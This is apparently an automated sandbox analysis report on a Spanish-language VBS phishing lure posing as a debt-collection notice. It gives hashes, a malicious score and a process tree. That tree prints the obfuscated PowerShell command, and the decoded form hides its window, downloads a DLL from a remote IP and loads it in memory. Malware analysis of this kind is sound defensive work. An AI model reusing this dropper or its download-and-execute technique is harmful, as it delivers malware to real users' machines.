Analysis

  • max time kernel
    45s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    11/08/2022, 14:55

General

  • Target

    Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs

  • Size

    205KB

  • MD5

    173a182f65910267fa0e8590dd0cfc0e

  • SHA1

    3b8bf6b2f4ad725511fca0e0198b4499c75fe86c

  • SHA256

    49bb9b1be17a3b590a8cb4245e1a3f07fb13648676ff7e0240f3030678c503d6

  • SHA512

    44d5a9a9d2166253c2af4b8820f323d29a2cd7042a3408440bd86b8422d25a28006891ca9f690d756271e85d09965047c2eebcbd18b5af8a378ff0785924900d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ARTS/dllf3txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACYAJQAkAD⌚⌚⌚AdABCAFQARABZACgAKQBSADAAJQAkACMAIgBIAEYASgBmAGIAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\Su contraseña es 118 Tramitándose expediente administrativo para el cobro de sus deudas pendient.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '&%$5tBTDY()R0%$#"HFJfb' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2044

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          f007338b947c62892340662049c231df

          SHA1

          93bb79455ff72b60c1e90c842c5d1df7c197d9d6

          SHA256

          96f4a8433a83acc63123737e9c5b3f8c7ab50bc25ad1e9b6a44987a922e946a4

          SHA512

          2ac8c1ac97fdbf1ad621e69da75535521e8af805acf55af29db733831fd44c3c845db28390429ece6e58607f676aa99b19fb5c4c3975303734c4aa9322343376

        • memory/240-70-0x00000000026E4000-0x00000000026E7000-memory.dmp

          Filesize

          12KB

        • memory/240-57-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp

          Filesize

          10.1MB

        • memory/240-59-0x00000000026E4000-0x00000000026E7000-memory.dmp

          Filesize

          12KB

        • memory/240-58-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp

          Filesize

          11.4MB

        • memory/240-71-0x00000000026EB000-0x000000000270A000-memory.dmp

          Filesize

          124KB

        • memory/240-63-0x00000000026EB000-0x000000000270A000-memory.dmp

          Filesize

          124KB

        • memory/1940-54-0x000007FEFC441000-0x000007FEFC443000-memory.dmp

          Filesize

          8KB

        • memory/2044-64-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp

          Filesize

          10.1MB

        • memory/2044-66-0x00000000028E4000-0x00000000028E7000-memory.dmp

          Filesize

          12KB

        • memory/2044-67-0x00000000028EB000-0x000000000290A000-memory.dmp

          Filesize

          124KB

        • memory/2044-68-0x00000000028E4000-0x00000000028E7000-memory.dmp

          Filesize

          12KB

        • memory/2044-69-0x00000000028EB000-0x000000000290A000-memory.dmp

          Filesize

          124KB

        • memory/2044-65-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp

          Filesize

          11.4MB